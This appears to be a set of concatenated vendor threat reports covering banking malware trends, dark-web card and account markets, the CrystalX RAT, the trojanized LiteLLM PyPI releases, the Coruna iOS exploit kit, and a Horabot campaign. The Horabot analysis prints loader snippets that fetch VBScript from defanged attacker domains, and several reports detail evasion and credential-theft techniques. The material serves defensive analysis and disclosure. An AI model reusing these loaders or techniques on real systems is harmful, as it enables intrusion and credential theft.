Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)
Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
Financial cyberthreats on the dark web
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Compromised accounts
Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Compromised payment cards
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Data breaches
Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.
An example of a post offering a database
Sale of bank accounts and payment cards
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Compiled databases
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Creation of phishing websites
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
Conclusion
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.
Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.
Technical details
Background
The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.
After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.
The builder and anti-debug features
By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:
MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
VM detect: checking running processes, presence of guest tools, and hardware characteristics
Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump
Stealer capabilities
When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.
The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.
Keylogger & clipper
Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:
The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.
The final script looks as follows:
Remote access
The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.
Prank commands
The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.
Setting a background: downloading an image from a specified URL and using it as the desktop background.
Display orientation: rotating the screen 90°, 180°, or 270°.
System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
Remapping mouse buttons: swapping left click with right click and the other way round.
Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
Notifications: displaying a window with a custom title and message.
Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.
Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.
Conclusions
The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
Repository compromise
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Technical analysis
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
SSH keys
GIT accounts
.env files
AWS, Kubernetes, email service, database, and WireGuard configurations
files related to Helm, Terraform, and CI
TLS keys and certificates
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
OpenVSX version of the malware
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
Victimology
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
Conclusion
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
Prevention and protection
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
Perform a full system scan using a reliable security solution.
Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
Check for indicators of compromise (files on the system or network signs).
On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.
Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).
Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.
During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.
Attack chain of Operation Triangulation (simplified)
Attack chain of Coruna (simplified)
Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.
Technical details
While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.
Safari
Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.
Payload
The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.
First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.
The file format used by the exploit kit to store compressed data
Offset
Field
0x00
Magic number (0xBEDF00D)
0x04
Decompressed data size
0x08
LZMA-compressed data
The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.
The file format used by the exploit kit to store files
Offset
Field
0x00
Magic number (0xF00DBEEF)
0x04
Number of entries
0x08
Entry[0].File ID
0x0C
Entry[0].Status
0x10
Entry[0].File offset
0x14
Entry[0].File size
We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.
Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.
The file format used by the exploit kit to store information about file packages
Offset
Field
0x00
Magic number (0x12345678)
0x04
Flags
0x08
Directory path
0x108
Number of entries
0x10C
Entry[0].Package ID
0x110
Entry[0].ChaCha20 key
0x130
Entry[0].File name
The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:
0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.
The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.
Other bytes of the Package ID define the supported firmware version and CPU generation.
Some of the observed Package IDs (those with unique content)
Package ID
Description
0xF3300000
Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000
Kernel exploit (iOS < 14.7) and other components
0xF3700000
Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000
Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000
Kernel exploit (iOS < 17.2) and other components
0xA3030000
Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000
Mach-O loader (iOS 16.0 – 16.4)
The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.
Observed File IDs
File ID
Description
0x10000
Implant
0x50000
Mach-O loader (default)
0x70000
List of additional components
0x70005
Launcher config
0x80000
Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000
Kernel exploit
0x90001
Kernel exploit (for Mach-O loader)
0xA0000
Logs cleaner
0xA0001
Mach-O loader component
0xA0002
Mach-O loader component
0xF0000
RPC stager
After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.
Kernel exploits
We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:
The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.
Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.
Launcher
The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.
Conclusions
This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.
In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.
Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.
The starting point
As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.
The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.
The attack chain
After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.
Stage 1: Initial lure
Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).
Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/
Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
This command retrieved and executed an HTA file that contained the following:
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.
Stage 2: A pinch of server-side polymorphism
The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)
The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)
The page containing the first stage leading to the spreader.
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
Key construction (left) and decryption logic (right)
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""
current_key = int(encrypted_hex[0:2], 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
Python implementation of the decryption routine
